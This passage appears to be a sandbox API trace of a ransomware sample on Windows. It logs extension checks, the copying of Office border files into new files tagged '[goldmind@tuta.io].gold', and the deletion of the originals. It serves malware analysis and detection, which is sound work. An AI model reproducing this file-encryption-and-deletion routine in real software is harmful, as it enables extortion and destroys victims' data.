lstrlenW (lpString=".docx") returned 5 [0110.172] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0110.172] lstrlenW (lpString=".pdf") returned 4 [0110.172] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".xls") returned 4 [0110.172] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".xlsx") returned 5 [0110.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0110.172] lstrlenW (lpString=".ppt") returned 4 [0110.172] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".zip") returned 4 [0110.172] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".rar") returned 4 [0110.172] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0110.173] lstrlenW (lpString=".bz2") returned 4 [0110.173] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0110.173] lstrlenW (lpString=".7z") returned 3 [0110.173] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0110.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.173] lstrlenW (lpString=".dbf") returned 4 [0110.173] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0110.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.173] lstrlenW (lpString=".1cd") returned 4 [0110.173] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0110.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.173] lstrlenW (lpString=".jpg") returned 4 [0110.173] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0110.173] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.173] lstrlenW (lpString="MSART15.BDR") returned 11 [0110.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.174] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=27412) returned 1 [0110.174] CloseHandle (hObject=0x3a0) returned 1 [0110.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0110.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0110.176] GetLastError () returned 0x0 [0110.176] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6b14, lpOverlapped=0x0) returned 1 [0110.201] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6b20, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6b20, lpOverlapped=0x0) returned 1 [0110.202] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.202] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.202] SetEndOfFile (hFile=0x188) returned 1 [0110.202] CloseHandle (hObject=0x188) returned 1 [0110.202] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.202] SetEndOfFile (hFile=0x3a0) returned 1 [0110.204] CloseHandle (hObject=0x3a0) returned 1 [0110.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 1 [0110.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.205] lstrlenW (lpString=".doc") returned 4 [0110.206] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".docx") returned 5 [0110.206] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0110.206] lstrlenW (lpString=".pdf") returned 4 [0110.206] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".xls") returned 4 [0110.206] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".xlsx") returned 5 [0110.206] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0110.206] lstrlenW (lpString=".ppt") returned 4 [0110.206] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".zip") returned 4 [0110.206] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".rar") returned 4 [0110.206] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".bz2") returned 4 [0110.206] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".7z") returned 3 [0110.206] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".dbf") returned 4 [0110.206] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".1cd") returned 4 [0110.206] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".jpg") returned 4 [0110.206] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".doc") returned 4 [0110.206] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".docx") returned 5 [0110.206] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0110.206] lstrlenW (lpString=".pdf") returned 4 [0110.206] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".xls") returned 4 [0110.206] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".xlsx") returned 5 [0110.206] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0110.206] lstrlenW (lpString=".ppt") returned 4 [0110.206] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".zip") returned 4 [0110.206] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".rar") returned 4 [0110.206] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".bz2") returned 4 [0110.206] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString=".7z") returned 3 [0110.206] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.206] lstrlenW (lpString=".dbf") returned 4 [0110.206] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.207] lstrlenW (lpString=".1cd") returned 4 [0110.207] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0110.207] lstrlenW (lpString=".jpg") returned 4 [0110.207] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.207] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.207] lstrlenW (lpString="MSART3.BDR") returned 10 [0110.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.475] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=57646) returned 1 [0110.475] CloseHandle (hObject=0x380) returned 1 [0110.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0110.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.494] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.494] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0110.495] GetLastError () returned 0x0 [0110.495] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xe12e, lpOverlapped=0x0) returned 1 [0110.527] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe130, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe130, lpOverlapped=0x0) returned 1 [0110.528] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.528] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.528] SetEndOfFile (hFile=0x39c) returned 1 [0110.569] CloseHandle (hObject=0x39c) returned 1 [0110.569] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.569] SetEndOfFile (hFile=0x19c) returned 1 [0110.571] CloseHandle (hObject=0x19c) returned 1 [0110.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 1 [0110.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.574] lstrlenW (lpString=".doc") returned 4 [0110.574] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".docx") returned 5 [0110.574] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0110.574] lstrlenW (lpString=".pdf") returned 4 [0110.574] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".xls") returned 4 [0110.574] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".xlsx") returned 5 [0110.574] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0110.574] lstrlenW (lpString=".ppt") returned 4 [0110.574] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.574] lstrlenW (lpString=".zip") returned 4 [0110.574] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".rar") returned 4 [0110.574] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".bz2") returned 4 [0110.574] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString=".7z") returned 3 [0110.574] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.574] lstrlenW (lpString=".dbf") returned 4 [0110.574] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.574] lstrlenW (lpString=".1cd") returned 4 [0110.574] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".jpg") returned 4 [0110.575] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".doc") returned 4 [0110.575] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".docx") returned 5 [0110.575] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0110.575] lstrlenW (lpString=".pdf") returned 4 [0110.575] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".xls") returned 4 [0110.575] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".xlsx") returned 5 [0110.575] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0110.575] lstrlenW (lpString=".ppt") returned 4 [0110.575] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".zip") returned 4 [0110.575] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".rar") returned 4 [0110.575] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".bz2") returned 4 [0110.575] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString=".7z") returned 3 [0110.575] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".dbf") returned 4 [0110.575] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".1cd") returned 4 [0110.575] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0110.575] lstrlenW (lpString=".jpg") returned 4 [0110.575] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.575] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.575] lstrlenW (lpString="MSART9.BDR") returned 10 [0110.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.576] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=50838) returned 1 [0110.576] CloseHandle (hObject=0x19c) returned 1 [0110.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0110.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0110.577] GetLastError () returned 0x0 [0110.577] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xc696, lpOverlapped=0x0) returned 1 [0110.579] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xc6a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xc6a0, lpOverlapped=0x0) returned 1 [0110.580] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.581] WriteFile (in: hFile=0x39c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.581] SetEndOfFile (hFile=0x39c) returned 1 [0110.581] CloseHandle (hObject=0x39c) returned 1 [0110.581] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.581] SetEndOfFile (hFile=0x19c) returned 1 [0110.583] CloseHandle (hObject=0x19c) returned 1 [0110.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 1 [0110.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.584] lstrlenW (lpString=".doc") returned 4 [0110.584] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".docx") returned 5 [0110.584] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0110.584] lstrlenW (lpString=".pdf") returned 4 [0110.584] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".xls") returned 4 [0110.584] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".xlsx") returned 5 [0110.584] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0110.584] lstrlenW (lpString=".ppt") returned 4 [0110.584] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.584] lstrlenW (lpString=".zip") returned 4 [0110.584] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".rar") returned 4 [0110.584] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".bz2") returned 4 [0110.584] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.584] lstrlenW (lpString=".7z") returned 3 [0110.584] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".dbf") returned 4 [0110.585] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".1cd") returned 4 [0110.585] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".jpg") returned 4 [0110.585] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".doc") returned 4 [0110.585] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".docx") returned 5 [0110.585] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0110.585] lstrlenW (lpString=".pdf") returned 4 [0110.585] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".xls") returned 4 [0110.585] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".xlsx") returned 5 [0110.585] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0110.585] lstrlenW (lpString=".ppt") returned 4 [0110.585] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".zip") returned 4 [0110.585] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".rar") returned 4 [0110.585] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".bz2") returned 4 [0110.585] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString=".7z") returned 3 [0110.585] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".dbf") returned 4 [0110.585] lstrcmpiW (lpString1=".dbf", 